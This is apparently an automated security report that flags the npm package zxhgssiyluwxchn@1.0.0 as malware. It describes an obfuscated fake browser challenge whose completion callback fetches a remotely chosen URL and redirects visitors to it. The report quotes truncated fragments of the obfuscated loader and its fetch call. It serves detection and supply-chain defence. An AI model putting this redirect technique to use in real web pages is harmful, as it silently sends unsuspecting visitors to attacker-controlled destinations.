zxhgssiyluwxchn@1.0.0
AI Security Review
scanned 9d ago · by lpm-firewall-aiSource inspection confirms an obfuscated, remotely controlled redirect flow in the package's main entrypoint. The challenge completion callback activates that flow, supporting a malicious verdict.
Static reason
One or more suspicious static signals were detected.
Trigger
Opening the page starts the policy lookup and challenge; completing the challenge invokes the redirect callback.
Impact
Visitors can be silently routed to a remote destination selected by the policy service.
Mechanism
The script sends a hardcoded key to an obfuscated remote endpoint, decrypts a returned URL, fetches a policy-selected destination, and replaces the browser location.
Attack narrative
The package's HTML entrypoint imitates a browser challenge flow, then redirects visitors to a destination supplied through obfuscated remote policy requests. Challenge completion activates the redirect callback; the actual policy endpoint and destination are concealed in the obfuscated code or server response.
AI rationale
Source inspection confirms an obfuscated, remotely controlled redirect flow in the package's main entrypoint. The challenge completion callback activates that flow, supporting a malicious verdict.
Evidence
index.html
Decision evidence
public snapshotAI called this Malicious at 94.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json declares index.html as the package entrypoint.
- Completing the challenge calls a redirect callback.
- The obfuscated script sends a hardcoded host key to a remote endpoint and decrypts a returned URL.
- The script fetches a policy-selected destination and replaces the browser location with it.
- The page starts the challenge and connects its completion to the redirect flow.
Evidence against
Behavioral surface
EvalNetwork
HighEntropyStringsMinifiedPossibleObfuscation
NoLicense
Source & flagged code
7 flagged · loading sourceindex.htmlView file
182}
L183: function _0x3c31(_0x45e6f,_0x2ed62b){_0x45e6f=_0x45e6f-(-0x107*-0xd+0x121*-0x1f+0x1*0x178d);const _0x39a118=_0x3bf2();let _0x2aaa5f=_0x39a118[_0x45e6f];if(_0x3c31['TGfsRo']===undef...
High
Obfuscated Payload Loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
index.htmlView on unpkg · L182•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1
High
Semantic Analysis Limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
index.htmlView on unpkg178function onTurnstileComplete(token) {
if (window.__challengeRedirect) {
window.__challengeRedir
High
183_0x2a08ae['key']=hostKey;const _0x36a01c=await fetch(_0x502df0[_0x33af53(_0x19fae2._0x24e113,0x49b,0x4b7,_0x19fae2._0x5c780d)],{'method':_0x502df0[_0xe89af1(_0x19fae2._0x202401,0x636,_0x19fae2._0xfec3d1,_0x19fae2._0x121b7b)],'head
Findings
7 High2 Medium3 Low
HighObfuscated Payload Loaderindex.html
HighSemantic Analysis Limitedindex.html
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.html
HighAi Review Evidenceindex.html
HighAi Review Evidenceindex.html
HighAi Review Evidenceindex.html
MediumNetwork
MediumStructural Risk Force Deep Review
LowEval
LowHigh Entropy Strings
LowNo License
Affected versions and remediation
This report applies to zxhgssiyluwxchn@1.0.0.
See all versions of zxhgssiyluwxchn for other recorded verdicts.
- Avoid installing zxhgssiyluwxchn@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.